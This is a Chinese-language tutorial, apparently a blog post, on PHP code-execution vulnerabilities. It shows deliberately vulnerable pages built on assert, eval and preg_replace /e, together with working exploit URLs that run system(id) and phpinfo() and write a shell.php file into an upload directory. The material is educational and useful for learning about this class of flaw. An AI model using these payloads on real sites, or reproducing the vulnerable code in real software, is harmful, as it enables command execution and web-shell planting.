代码执行漏洞与利用 代码执行漏洞与利用

代码执行漏洞与利用

当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞(代码执行漏洞)。

PHP          eval()、assert()、preg_replace()
python      exec()
Java         没有类似于前面两者的函数,但是有反射机制,并且有基于反射机制的表达式引擎,如:0GNL、SpEL、MVEL等

 

1. 动态代码执行

 

    <?php
    function m_print(){
           echo '这是一个页面';
    }
    $_GET['a']($_GET['b']);
    ?>





查看php信息
assert 可以执行php里面的一些函数比如phpinfo()

http://www.webtester.com/code/code01.php?a=assert&b=phpinfo()


1.png

    http://www.webtester.com/code/code01.php?a=assert&b=system(id)



2.png

    http://www.webtester.com/code/code01.php?a=assert&b=var_dump(1)




2. eval代码执行

    <?php  
    $data = isset($_GET['data'])?$_GET['data']:'这是一个eval漏洞页面';  
    @eval($ret = $data);  
    echo $ret;
    ?>



eval可以执行php代码

    http://www.webtester.com/code/code02.php?data=phpinfo();
    http://www.webtester.com/code/code02.php?data=system(id);


3.png
写 shell

    fputs(fopen("shell.php","a"),"<?php phpinfo();?>");
    http://www.webtester.com/code/code02.php?data=fputs(fopen("../upload/shell.php","a"),"<?php phpinfo();?>");

1559791242686012.png

3. 正则代码执行

   

<?php  
    $data = $_GET['data'];  
    preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";',$data);  
    ?>
    <form>
    <label>请输入你的数据</label>
    <input type='text' name='data'/>
    <input type='submit' value='提交'/>
    </form>
<data>{${phpinfo()}}</data>
http://www.webtester.com/code/code03.php?data=<data>{${phpinfo()}}</data>


1559791274399593.png

评论 0

挤眼 亲亲 咆哮 开心 想想 可怜 糗大了 委屈 哈哈 小声点 右哼哼 左哼哼 疑问 坏笑 赚钱啦 悲伤 耍酷 勾引 厉害 握手 耶 嘻嘻 害羞 鼓掌 馋嘴 抓狂 抱抱 围观 威武 给力
提交评论

清空信息
关闭评论
sitemap